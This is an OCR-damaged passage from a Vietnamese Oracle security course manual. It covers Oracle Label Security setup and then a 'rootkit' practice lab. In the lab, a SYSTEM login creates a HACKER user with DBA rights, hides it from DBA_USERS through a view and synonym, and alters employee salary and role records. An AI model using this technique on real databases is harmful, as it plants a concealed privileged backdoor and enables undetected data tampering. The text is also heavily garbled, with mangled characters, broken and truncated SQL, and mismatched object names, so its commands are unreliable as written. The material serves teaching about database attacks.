Bước 1: Đăng nhập bằng tăi khoản sys/12345678 vă thực hiện cđu lệnh
sau:
EXECUTE SA_SYSDBA.CREATE_POLICY(policy_name => 'CHINHSACH',column name => 'COT');
Bước 2: Định nghĩa câc thănh phần nhên (label component):
Định nghĩa Level: EXECUTE SA COMPONENT S. CREATE LEVEL ( policy_name => 'CHINHSAC H' , long_name => 'OFFICER' , short_name => 'OFF' ,level => EXECUTE
SA COMPONENTS. CREATE LEVEL ( policy_name =>
'CHINHSAC , => ,short_name => 'MGR'
, =>
EXECUTE
SA COMPONENTS. CREATE LEVEL ( policy_name =>
'CHINHSAC , => ',short_nam => 'EXEC'
level_num => 9000);
- Định nghĩa Compartment:
EXECUTE SA_COMPONENTS.CREATE_COMPARTMENT ('CHINHSACH', 100, 'KH', 'Phong ke hoach');
EXECUTE SA_COMPONENTS.CREATE_COMPARTMENT ('CHINHSACH', 200, 'MK',
'Phong Maketting');
EXECUTE SA_COMPONENTS.CREATE_COMPARTMENT ('CHINHSACH', 300,
Định nghĩa Group:
EXECUTE SA_COMPONENTS.CREATE_GROUP('CHINHSACH', 10, 'ALL', 'Tong cong ty');
EXECUTESA_COMPONENTS.CREATE_GROUP('CHINHSACH',20, 'MB', 'Mien
Bac', 'ALL');
EXECUTE SA_COMPONENTS.CREATE_GROUP('CHINHSACH', 30, 'MN', 'Mien nam', 'ALL');
3.3.4. Tạo câc nhên dữ liệu (data label) đí sử dụng
- Tăi khoản Sys tiếp tục thực hiện câc lệnh sau:
EXECUTE SA LABEL
ADMIN.CREATE LABEL ( policy name =>'CHINHSACH' ,label tag
=>10C ,label value=>
'EXEC:KH,M ,LT:ALL');
EXECUTE SA LABEL LABE (policy name => 'CHINHSACH
' ,label tag => 110 label value => 'EXEC:KH,M
K
,LT:MB');
EXECUTE SA LABEL LABE (policy name => 'CHINHSACH
' ,label tag 120 value,label =>
'EXEC:KH,M
K ,LT:MN');
EXECUTE SA LABEL LABE (policy name => 'CHINHSACH
'
,label tag => 200 label value => 'MGR:KH:MB
' );
EXECUTE SA LABEL LABE (policy name => 'CHINHSACH
' ,label tag => 210 label value => 'MGR:KH:MN
' );
EXECUTE SA LABEL LABE (policy name => 'CHINHSACH
' ,label tag => 220 label value => 'MGR:LT:MB ); EXECUTE SA LABEL ADMIN.CREATE LABE L (policy name => 'CHINHSACH
' ,label tag => 300 label value => 'OFF:MK:MB );
'OFF:MK:M N' ); EXECUTE SA LABEL ADMIN.CREATE LABE L (policy name => 'CHINHSAC
H' ,label tag => 320 label value => 'OFF:LT:M ); EXECUTE SA LABEL ADMIN.CREATE LABE L (policy name => 'CHINHSAC
H' ,label tag 0 33 value,label =>
'OFF:KH:M ); EXECUTE
SA LABEL ADMIN.CREATE LABEL (policy name => 'CHINHSAC H' ,label tag 34 0 ,label value => 'OFF:KH:M N' );
3.3.5. Âp dụng chính sâch an toăn OLS cho bảng
Ta cĩ thể chọn hai câch âp dụng sau sử dụng tăi khoản sys:
- Âp dụng chính sâch với câc tùy chọn trước, khơng giấu cột rơwlabel:
EXECUTE SA_POLICY_ADMIN.APPLY_TABLE_POLICY - ( policy_name => 'CHINHSACH' -
,schema_name => 'TEST' - ,table_name => 'NHANSU' -
,table_õptions => ’LABEL_DEFAULT,READ_CONTROL,WRITE_CONTROL’); - Âp dụng chính sâch vă che giấu đi cột rowlabel:
EXECUTE SA_POLICY_ADMIN.APPLY_TABLE_POLICY - ( policy_name => 'CHINHSACH' - ,schema_name => 'TEST' - ,table_name => 'NHANSU' - ,table_options=> ’LABEL_DEFAULT,READ_CONTROL,WRITE_CONTROL,HIDE’);
Giả sử ta chọn câch thứ nhất thì kết quả lă:
- Sau bước năy bảng TEST.NHANSU sẽ cĩ thím một cột lă ROWLABEL, nhưng chưa cĩ giâ trị. Cần cập nhật câc nhên cho câc hăng dữ liệu (câc bản ghi) trong bảng NHANSU năy.
- Sau bước năy, những user bình thường khơng select được bảng nữa, chỉ cĩ TEST (người tạo ra bảng), SYSTEM (admin).. mới select được, nhưng khơng cĩ dữ liệu. Do đĩ, ngay cả TEST ta cũng phải gân nhên thì mới được quyền truy xuất dữ liệu trong bảng NHANSU.
3.3.6. Gân nhên cho câc hăng dữ liệu của bảng
Đăng nhập văo tăi khoản Sys vă thực hiện:
- Gân nhên cho câc giâm đốc:
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH',
'EXEC:KH,MK,LT:ALL') WHERE UPPER (CHUCVU) LIKE '%GIAM DOC%' AND UPPER(CHINHANH) LIKE '%ALL%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH',
'EXEC:KH,MK,LT:MB') WHERE UPPER (CHUCVU) LIKE '%GIAM DOC%' AND UPPER(CHINHANH) LIKE '%MIEN BAC%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH',
'EXEC:KH,MK,LT:MN') WHERE UPPER (CHUCVU) LIKE '%GIAM DOC%' AND UPPER(CHINHANH) LIKE '%MIEN NAM%';
- Gân nhên cho câc trưởng phịng:
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'MGR:KH:MB') WHERE UPPER (CHUCVU) LIKE '%TRUONG PHONG%' AND UPPER(PHONG) LIKE '%KE HOACH%' AND UPPER(CHINHANH) LIKE '%MIEN BAC%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'MGR:KH:MN') WHERE UPPER (CHUCVU) LIKE '%TRUONG PHONG%' AND UPPER(PHONG) LIKE '%KE HOACH%' AND UPPER(CHINHANH) LIKE '%MIEN NAM%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'MGR:LT:MB') WHERE UPPER (CHUCVU) LIKE '%TRUONG PHONG%' AND UPPER(PHONG) LIKE '%LAP TRINH%' AND UPPER(CHINHANH) LIKE '%MIEN BAC%';
- Gân nhên cho câc nhđn viín:
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'OFF:LT:MB') WHERE UPPER (CHUCVU) LIKE '%NHAN VIEN%' AND
UPPER(PHONG) LIKE '%LAP TRINH%' AND UPPER(CHINHANH) LIKE '%MIEN NAM%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'OFF:KH:MB') WHERE UPPER (CHUCVU) LIKE '%NHAN VIEN%' AND
UPPER(PHONG) LIKE '%KE HOACH%' AND UPPER(CHINHANH) LIKE '%MIEN BAC%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'OFF:KH:MN') WHERE UPPER (CHUCVU) LIKE '%NHAN VIEN%' AND
UPPER(PHONG) LIKE '%KE HOACH%' AND UPPER(CHINHANH) LIKE '%MIEN NAM%';
UPDATE test.nhansu SET COT = char_to_label ('CHINHSACH', 'OFF:MK:MB') WHERE UPPER (CHUCVU) LIKE '%NHAN VIEN%' AND
'OFF:MK:MN') WHERE UPPER (CHUCVU) LIKE '%NHAN VIEN%' AND
UPPER(PHONG) LIKE '%MAKETTING%' AND UPPER(CHINHANH) LIKE '%MIEN NAM%';
3.3.7. Tạo người dùng cần thiết
Tạo câc người dùng vă tiến hănh gân quyền DAC cho câc user năy văo table
Nhansu như sau (Chú ý: chỉ cĩ người dùng TEST mới được gân quyền năy -
người sở hữu bảng):
(Khi chưa gân nhên cho những người dùng năy thì họ sẽ khơng thể đọc được dữ liệu gì trong bảng TEST.NHANSU, thậm chí cả người dùng TEST).
EXECUTIVE_MB: SELECT, UPDATE, INSERT, DELETE(GIÂM ĐỐC MB) EXECUTIVE_MN: SELECT, UPDATE, INSERT, DELETE(GIÂM ĐỐC MN) MGR_KH_MB: SELECT, UPDATE, INSERT(TRƯỞNG PHỊNG KẾ HOẠCH MB) MGR_KH_MN: SELECT, UPDATE, INSERT(TRƯỞNG PHỊNG KẾ HOẠCH MN) OFF_KH_MB: SELECT(NHĐN VIÍN PHỊNG KẾ HOẠCH MB)
OFF_KH_MN: SELECT(NHĐN VIÍN PHỊNG KẾ HOẠCH MN) OFF_MK_MN: SELECT(NHĐN VIÍN PHỊNG MARKETTING MN) OFFLTMN: SELECT(NHĐN VIÍN PHỊNG LẬP TRÌNH MN)
Ở đđy chỉ lăm với EXECUTIVE_MB, câc user khâc thao tâc tương tự. - Bước 1: Đăng nhập bằng System:
create user EXECUTIVE_MB identified by 12345678; grant unlimited tablespace to EXECUTIVE_MB;
- Bước 2: Đăng nhập bằng tăi khoản test, thực hiện câc cđu lệnh sau:
GRANTSELECT, UPDATE, INSERT, DELETE ON TEST.NHANSU EXECUTIVE_MB;
3.3.8. Gân nhên cho người dùng
Ta gân nhên tương ứng như sau: (chú ý người dùng TEST cũng cần được gân nhên để cĩ thể toăn quyền truy nhập văo bảng Nhansu):
TEST label = EXEC: KH, MK, LT: ALL EXECUTIV MB EXEC: KH, MK, LT: MB EXECUTIVE MN EXEC: KH, MK, LT: MN MGR_KH_M BMGR_KH_M MGR:label = label = KH: MBKH: MN OFF_KH_M B label = OFF : KH: MB OFF_KH_M
NOFF LT OFF label = label = :KH:MN: LT: MN OFFMKMN label = : MK: MN
_ _ ___
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'TEST' ,max_read_label =>
'EXEC:KH,MK,LT:ALL' ,max_write_label => 'EXEC:KH,MK,LT:ALL' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:ALL' , row_label => 'OFF');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS( policy_name =>
'CHINHSACH' ,user_name => 'EXECUTIVE_MB' ,max_read_label => 'EXEC:KH,MK,LT:MB' ,max_write_label => 'EXEC:KH,MK,LT:MB' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:MB' , row_label => 'OFF');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'EXECUTIVE_MN',max_read_label => 'EXEC:KH,MK,LT:MN' ,max_write_label => 'EXEC:KH,MK,LT:MN' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:MN' , row_label => 'OFF');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'MGR_KH_MB' ,max_read_label =>
'MGR:KH:MB' ,max_write_label => 'MGR:KH:MB' ,min_write_label => 'OFF' ,def_label => 'MGR:KH:MB' , row_label => 'OFF:KH:MB');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'MGR_KH_MN' ,max_read_label =>
'MGR:KH:MN' ,max_write_label => 'MGR:KH:MN' ,min_write_label => 'OFF' ,def_label => 'MGR:KH:MN' , row_label => 'OFF:KH:MN');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'OFF_KH_MB' ,max_read_label => 'OFF:KH:MB' ,max_write_label => 'OFF:KH:MB' ,min_write_label => 'OFF' ,def_label => 'OFF:KH:MB' , row_label => 'OFF:KH:MB');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_KH_MN',maX_read_label =>
'OFF:KH:MN',max_write_label => 'OFF:KH:MN',min_write_label => 'OFF' ,def_label => 'OFF:KH:MN', row_label => 'OFF:KH:MN');
EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_MK_MN' ,max_read_label =>
'OFF:MK:MN',max_write_label => 'OFF:MK:MN',min_write_label => 'OFF',def_label => 'OFF:MK:MN', row_label => 'OFF:MK:MN'); EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_LT_MN',maX_read_label =>
'OFF:LT:MN' ,max_write_label => 'OFF:LT:MN' ,min_write_label => 'OFF' ,def_label => 'OFF:LT:MN', row_label => 'OFF:LT:MN');
- Thu được:
VUsers
This table lists the users who are authorized for this policy. A User can be authorized under multiple policies.
User Maximum Read
Label Maximum VVrite Label Privileges
TEST EXECKH.MK.LTA LL EXEC:KH,MK.LT:ALL EXECUTIVE-MB EXEC:KH.MK.LT: MB EXECKH.MK.LTMB EXECUTIVE~MN EXEC:KH.MK.LT: MN EXEC:KH,MK,LT:MN MGR_KH_MB MGR:KH:MB MGR:KH:MB MGR’KỘN MGR:KH:MN MGR:KH:MN
OFF_'KH_'MB OFF:KH:MB OFF:KH.MB
OFF’KH’MN OFF:KH:MN OFF:KH:MN
OFF’MK’MN OFF:MK:MN OFF:MK:MN
OFF’LT_’MN OFF:LT:MN OFF:LT:MN
TONGGIAMDOC EXEC:KH.MK.LT:
Kết quả: Giâm đốc cĩ thể thực hiện mọi thao tâc trín CSDL ở chi nhânh của mình, câc trưởng phịng cĩ thể xem, sửa vă thím thơng tin của câc nhđn viín thuộc phịng họ vă khơng thể xem thơng tin của câc phịng khâc, câc nhđn viín thì chỉ cĩ thể xem thơng tin của phịng mình mă khơng được phĩp sửa đổi.
Chú ý: khi giâm đốc hay trưởng phịng insert một bản ghi văo bảng NHANSU (sau khi đê được âp dụng chính sâch CHINHSACH) thì họ phải insert văo nhên cho bản ghi đĩ. Tuy nhiín anh ta chỉ cĩ thể insert câc COT tương ứng với câc chức danh nhỏ hơn mình, đồng thời cần phải biết câc nhên tương ứng để insert một câch chính xâc.
Như vậy sau khi âp dụng OLS, câc hăng dữ liệu trong bảng vă câc người dùng đều được gân nhên an toăn phù hợp. Một người dùng chỉ được xem, thực hiện những cđu truy vấn nhất định trong một số câc bản ghi mă họ cĩ thể xem chứ khơng phải tất cả câc bản ghi của CSDL.
Ví dụ:
- Khi người dùng lă giâm đốc chi nhânh miền Bắc đăng nhập văo. Thì anh ta cĩ thể xem sửa, chỉn xĩa thơng tin của tất cả những nhđn viín vă trưởng phịng ở miền bắc.
Khi nhđn viín phịng marketing ở miền Bắc đăng nhập thì anh ta chỉ xem được thơng tin của bản thđn mă thơi. Vă anh ta khơng cĩ quyền insert, delete hay update lín bảng.
BĂI 4. THỰC HĂNH TẤN CƠNG ROOTKIT TRONG CƠ SỞ DỮ LIỆU ORACLE
4.1. GIỚI THIỆU
Rootkit lă một loại mê độc được thiết kế để che giấu khơng chỉ chính nĩ mă cịn cĩ thể che giấu được câc thănh phần liín quan khâc như: tiến trình, tệp, người dùng, nhật ký, mạng, cửa hậu (Backdoor). Rootkit lă một tập câc chương trình, đoạn mê cho phĩp tồn tại một câch bền vững, lđu dăi, khĩ cĩ thể phât hiện trín mây tính. Đặc điểm của Rootkit khâc với virus lă nĩ khơng cĩ khả năng nhđn bản, khơng tự lđy nhiễm, vă nĩ cần chiếm được quyền cao nhất của hệ thống (quyền root) để cĩ thể thực hiện được. Tuy nhiín, Rootkit rất khĩ phât hiện bởi nĩ cĩ khả năng ẩn chính mình.
Cơ sở dữ liệu Oracle nếu khơng được quản trị tốt cũng cĩ thể bị tấn cơng bởi loại mê độc hại năy.
4.2. MỤC TIÍU THỰC HĂNH
Thử nghiệm được thay đổi đường dẫn thực thi trong hệ quản trị Oracle: tạo ra một user Hacker cĩ mật khẩu lă abc123, được gân quyền dba vă thực hiện tạo ra một khung nhìn vă synonym để ẩn user Hacker trong khi người quản trị vă câc người dùng khâc khơng biết được sự tồn tại của user Hacker cũng như khơng biết được rằng user năy đê nắm được quyền cao nhất của hệ thống. Khi nắm được quyền cao nhất, user Hacker thực hiện câc thao tâc thím, sửa, xĩa.. một bảng nhđn viín để thay đổi chức vụ, lương của những nhđn viín trong cơ sở dữ liệu vă
4.3. NỘI DUNG THỰC HĂNH
Trong phần năy, chúng ta sẽ thử nghiệm thay đổi đường dẫn thực thi theo phương phâp: Tạo một private synonym vă một local object mới.
Muốn tấn cơng Rootkit trong hệ quản trị CSDL Oracle thì bước đầu tiín phải chiếm được quyền Root trong hệ quản trị CSDL, sau đĩ thực thi câc chương trình che giấu, thay đổi đường dẫn nhằm xĩa dấu vết.
Ở đđy giả sử rằng ta đê chiếm được quyền Root (System, Sys) trong hệ cơ sở dữ liệu Oracle, bđy giờ tiến hănh thay đổi đường dẫn thực thi bằng phương phâp tạo ra một khung nhìn vă một synonym nhằm che giấu tăi khoản HACKER với câc người dùng khâc.
Câc bước tiến hănh:
Bước 1: Bật sql/plus:
Bước 2: Đăng nhập văo hệ thống bằng tăi khoản system với tư câch lă một tin tặc:
Enter user_name: SYSTEM Enter password: 1
Bước 3: Tạo một user HACKER mật khẩu lă abc123: Create user hacker identified by abc123;
“SQL Plus
SQL*Plus: Release 11.1.0.6.0 - Production on Sun Oct 18 23:12:52 2015 Copyright <c> 1982, 2007, Oracle. All rights reserued.
Enter user-name: SVSTEM Enter passuord:
Connected to:
Oracle Database llg Enterprise Edỉtion Release 11.1.0.6.0 - Productỉon
Uỉth the Partỉtionlng, OLĐP, Data Mining and Real Application Testing options SQL> CREATE USER HACKER IDENTIFIED B¥ ABC123;
User created. SQL>
Bước 4: Gân quyền DBA cho user HACKER: SQL> Grant dba to hacker;
lẽTỊSQL Plus
Copyright <c> 1982, 2007, Oracle. All rights reserued. Enter user-name: SVSTEM
Enter passuord: Connected to:
Oracle Database llg Enterprise Edltỉon Release 11-1.0-G-0 — Production
Uỉth the Partitionỉng, OLÊP, Data Mining and Real Application Testlng optlons SQL> CREATE USER HACKER IDENTIPIED BV ABC123;
User created.
SQL> GRANT DBA TO HACKER; Grant succeeded.
SQL> _
Bước 5: Đăng nhập với người dùng vừa tạo:
SQL> connect
Enter user name: hacker Enter pass: ABC123
Bước 6: Truy vấn đến bảng hệ thống DBA_USER: SQL> Select username from dba_user;
■=> Khi năy ta thấy cĩ 39 dịng trong đĩ cĩ một user HACKER được tạo.
Bước 7: Đăng nhập với quyền cao nhất của người dùng HACKER: SQL> Connect as sysdba
Enter user name: HACKER Enter pass: ABC123
[ÕTỊSQL PIUS
s p A T I A L_csW_ADMIN_u s R SPAT I AL_WFS_fiDriIN_USR 39 rous selected-. SQL> CONNECT AS SVSDBO Entei' Ltsei'—n-ame : HACKEK Enter passuord:
Connected_ SQL> _
Bước 8: Tạo một view tín lă DBA_HACK1 để đânh lừa người dùng nhằm ẩn user HACKER:
SQL> create view dba_hack1 as select * from dba_users 2 where username!=’hacker’;
Bước 9: Tạo một synonym cĩ tín lă HACKER.DBA_USERS: SQL> create synonym hacker.dba_users for dba_hacker;
Bước 10: Đăng nhập lại user: SQL> connect
Enter user name: HACKER Enter pass: ABC123
Bước 11: Truy vấn tín người dùng trong bảng DBA_USER : SQL> Select username from dba_user;
■=> Lúc năy ta thấy cịn cĩ 38 dịng vă user HACKER đê bị ẩn
Sau khi thực hiện quâ trình trín, tin tặc cĩ thể thực hiện mọi tâc vụ mă những người dùng khâc khơng hỉ hay biết. Chẳng hạn, anh ta cĩ thể tạo, xem, xĩa, sửa,.... câc dữ liệu trong mọi bảng, chuyển toăn bộ cơ sở dữ liệu ra bín ngoăi hoặc đânh sập hệ thống cơ sở dữ liệu. Ở thử nghiệm năy, tin tặc sẽ tạo một bảng NHANVIEN rồi thực hiện câc tâc vụ trín bảng năy:
create table nhanvien (
manv nvarchar2 (5) not null primary key, hoten nvarchar2 (30) ,
phong nvarchar2 (30), chucvu nvarchar2 (30), luong number
);
SQL*Plus: Eelease 11.1.0.6.0 - Production on Fri Oct 23 04:39:27 2015
Copyright <c) 1982, 2007, Oracle. All rights reserued. Enter user-name: S9STEM
Enter passuord: Connected to:
Oracle Database llg Enterprise Editỉon Release 11.1.0.6.0 - Productỉon Ui
th the Partitionỉng, OLÊP, Data Mining and Real Application Testĩng optĩons
SQ L> CREAT E TABLE NHANUIENÍ
2 MANU NUARCHÊR <5> NULL PRIMARY KEY,
3 HOTEN NUARCHAR (30), 4 PHỊNG NUARÕHAR <30), 5 CHUCU NUARCHAR <30>, 6 LUƠNG NUMBER 7 >; Table created. jSQL>______________________________________________________________________________________■
Bước 13: Tạo năm bảng ghi cho bảng NhđnViín:
insert into nhanvien values (’nv001’,’mai thuy’,’nhan su’,’quan ly’,7000000) insert into nhanvien values (’nv002’,’kim chuyen’,’nhan su’,’thu ky’,5000000) insert into nhanvien values (’nv003’,’dang chanh’,’kinh doanh’,’thu
ky’,5000000)
insert into nhanvien values (’nv004’,’le hoa’,’kinh doanh ’, nhan vien’,2000000) insert into nhanvien values (’nv005’,’quoc trung’,’kinh doanh’,’truong phong ’,9000000)
lộ^SQL Plus
lEnter user-name: SYSTEM Enter passuord:
Connected to:
Oracle Database llg Enterprise Edỉtỉon Release 11.1.0.6.0 - Production
luitli the Partitioning, OLAP, Data Mining and Real Application Testỉng optỉons |sQL> CREATE TABLE NIIANUIENC
2 MANU NUARCHAR2 <5> NOT NULL PRIMARV KEY,
3 HOTEN NUARCHAR2<30), 4 PHƠNG NUARCHAR2<30), 5 CHUCUU NUARCHAR2<30>, 6 LUƠNG NUMBER 7 ); Table created.
|sQL> INSERT INTO NHANUIEN UALUES <•NU00Ỉ’,’MAI THUY’,’NHAN SU’,'QUAN LY',7000000 );
11 row created.
|sQL> INSERT INTO NHANUIEN UALUES <’NU002','KIM CHUYÍN','NHAN SU','THU KY',500000 6);
11 row created.
|sQL> INSERT INTO NHANUIEN UALUES <’NU003','DANG CHANH','KINH DOANH','THU KY',500 0000);
11 row created.
|sQL> INSERT INTO NHANUIEN UALUES <’NU004','LE HOA','KINH DOANH','NHANUIEN',20000 BỂ);
11 row created.
SQL) INSERT INTO NHANUIEN UALUES ('NU005','QUOC TRUNG','KINH DOANH','TRUƠNG PHON G',9000000);
1 row created.
Bước 14: Truy vấn dữ liệu trong bảng Nhđn Viín: Select * from nhanvien;
connect hacker/abc123
update system.nhanvien set luong= 6000000 where manv=’nv001’;
Sửa chức vụ trưởng phịng thănh nhđn viín cĩ họ tín lă Quốc Trung update system.nhanvien set chucvu=’nhanvien’
Truy vấn dữ liệu sau khi sửa => đê bị thay đổi select * from system.nhanvien;
Thay đổi chức vụ từ nhđn viín lín quản lý vă lương từ 5.000000 lín 8.000000 của nhđn viín Kim Chuyín:
TĂI LIỆU THAM KHẢO
[1] Oracle Corporation, Oracle9i Database Concepts Release 2 (9.2), Part Number A96524-01, 2002.
[2] Oracle Corporation, Database Security Guide 10g Release 1 (10.1) Part Number B10773-01, 2002.
[3] Adam Cecchetti Leviathan Security Group, Inc. Oracle Database
Server 11g, Version 1.0.1, January 2009.
(11.1), (January 2014).
[6] Jeloka, S. Advanced Security Administrator’s Guide, (June 2012). [7] Wah, P. Oracle Advanced Security Transparent Data Encryption Best
PHỤ LỤC
Phụ lục 1. CÂC THUỘC TÍNH TRONG NGỮ CẢNH MẶC ĐỊNH USERENV
Tín thuộc tính Giâ trị trả về
ACTION ID vị trí trong module (application name) vă
được thiết lập thơng
qua DBMS_APPLICATION_INFO package hoặc
OCI.
AUDITED_CUR SORID
Trả về ID cursor của phiín mă Triggered bởi kiểm tôn. Tham số năy khơng hợp lệ trong một mơi trường kiểm tôn mức mịn.
AUTHENTICAT ED-IDENTITY
Trả về ID người dùng đê được sử dụng trong xâc thực.
AUTHENTICAT ION-DATA
Dữ liệu đang được sử dụng để xâc thực người dùng đăng nhập.
AUTHENTICAT ION_METHOD
Trả về phương thức xâc thực.
BG_JOB_ID ID cơng việc của phiín hiện tại nếu nĩ được
thănh lập bởi một tiến trình nền.
CLIENT-IDEN TIFIER
Trả về ID được thiết lập bởi ứng dụng thơng
qua thủ tục DBMS_SESSION.SET_IDENTIFIER,
thuộc tính OCI_ATTR_CLIENT_IDENTIFIER
của OCI, hoặc lớp Java
Oracle.jdbc.OracleConnection.setClie
ntIdentifier.
CLIENT_INFO Trả về kích thước lín tới 64 byte thơng tin
phiín người dùng được lưu trữ bởi
DBMS_APPLICATION_INFO package.
CURRENT-BIN D
Câc biến răng buộc đối với kiểm tôn mức mịn.
CURRENT-SCH EMA
Tín của schema hiện tại.
CURRENT-SCH EMAID
ID schema hiện tại.
n
CURRENT-SQL CURRENT_SQLn trả về 4K byte tiếp theo.
CURRENT-SQL -LENGTH
Độ dăi của SQL Triggered kiểm tôn mức mịn hiện tại.